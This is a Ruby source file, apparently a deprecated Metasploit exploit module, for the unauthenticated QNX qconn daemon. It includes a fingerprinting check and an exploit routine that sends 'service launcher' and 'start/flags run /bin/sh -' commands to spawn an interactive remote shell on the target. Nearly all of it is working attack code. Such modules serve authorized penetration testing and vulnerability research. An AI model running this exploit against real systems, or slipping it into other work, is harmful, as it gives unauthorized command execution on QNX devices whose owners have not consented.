167 lines
4.0 KiB
Ruby
167 lines
4.0 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::Tcp
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include Msf::Module::Deprecated
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deprecated(Date.new(2018, 10, 17), 'exploit/qnx/qconn/qconn_exec')
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'QNX qconn Command Execution',
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'Description' => %q{
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This module uses the qconn daemon on QNX systems to gain a shell.
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The QNX qconn daemon does not require authentication and allows
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remote users to execute arbitrary operating system commands.
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This module has been tested successfully on QNX Neutrino 6.5.0 (x86)
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and 6.5.0 SP1 (x86).
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'David Odell', # Discovery
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'Mor!p3r', # PoC
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'bcoles' # Metasploit
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],
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'References' =>
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[
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['EDB', '21520'],
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['URL', 'https://www.optiv.com/blog/pentesting-qnx-neutrino-rtos'],
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['URL', 'http://www.qnx.com/developers/docs/6.5.0SP1/neutrino/utilities/q/qconn.html'],
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['URL', 'http://www.qnx.com/developers/docs/6.5.0/topic/com.qnx.doc.neutrino_utilities/q/qconn.html']
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],
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'Payload' =>
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{
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'BadChars' => '',
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'DisableNops' => true,
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'Compat' =>
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{
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'PayloadType' => 'cmd_interact',
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'ConnectionType' => 'find'
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}
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},
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'DefaultOptions' =>
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{
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'WfsDelay' => 10,
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'PAYLOAD' => 'cmd/unix/interact'
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},
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'Platform' => 'unix', # QNX Neutrino
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'Arch' => ARCH_CMD,
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'Targets' => [['Automatic', {}]],
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'Privileged' => false,
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'DisclosureDate' => 'Sep 4 2012',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(8000),
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OptString.new('SHELL', [true, 'Path to system shell', '/bin/sh'])
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])
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end
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def check
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vprint_status 'Sending check...'
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connect
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res = sock.get_once(-1, 10)
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unless res
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vprint_error 'Connection failed'
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return CheckCode::Unknown
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end
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unless res.include? 'QCONN'
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return CheckCode::Safe
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end
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sock.put "service launcher\n"
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res = sock.get_once(-1, 10)
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if res.nil? || !res.include?('OK')
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return CheckCode::Safe
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end
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fingerprint = Rex::Text.rand_text_alphanumeric rand(5..10)
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sock.put "start/flags run /bin/echo /bin/echo #{fingerprint}\n"
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if res.nil? || !res.include?('OK')
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return CheckCode::Safe
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end
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Rex.sleep 1
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res = sock.get_once(-1, 10)
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if res.nil? || !res.include?(fingerprint)
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return CheckCode::Safe
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end
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disconnect
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CheckCode::Vulnerable
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end
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def exploit
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unless check == CheckCode::Vulnerable
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fail_with Failure::NotVulnerable, 'Target is not vulnerable'
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end
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connect
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res = sock.get_once(-1, 10)
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unless res
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fail_with Failure::Unreachable, 'Connection failed'
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end
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unless res.include? 'QCONN'
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fail_with Failure::UnexpectedReply, 'Unexpected reply'
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end
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sock.put "service launcher\n"
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res = sock.get_once(-1, 10)
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if res.nil? || !res.include?('OK')
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fail_with Failure::UnexpectedReply, 'Unexpected reply'
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end
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print_status 'Sending payload...'
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sock.put "start/flags run #{datastore['SHELL']} -\n"
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Rex.sleep 1
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unless negotiate_shell sock
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fail_with Failure::UnexpectedReply, 'Unexpected reply'
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end
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print_good 'Payload sent successfully'
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handler
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end
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def negotiate_shell(sock)
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Timeout.timeout(15) do
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while true
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data = sock.get_once(-1, 10)
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if !data || data.length.zero?
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return nil
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end
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if data.include?('#') || data.include?('No controlling tty')
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return true
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end
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Rex.sleep 0.5
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end
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end
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rescue ::Timeout::Error
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return nil
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end
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end
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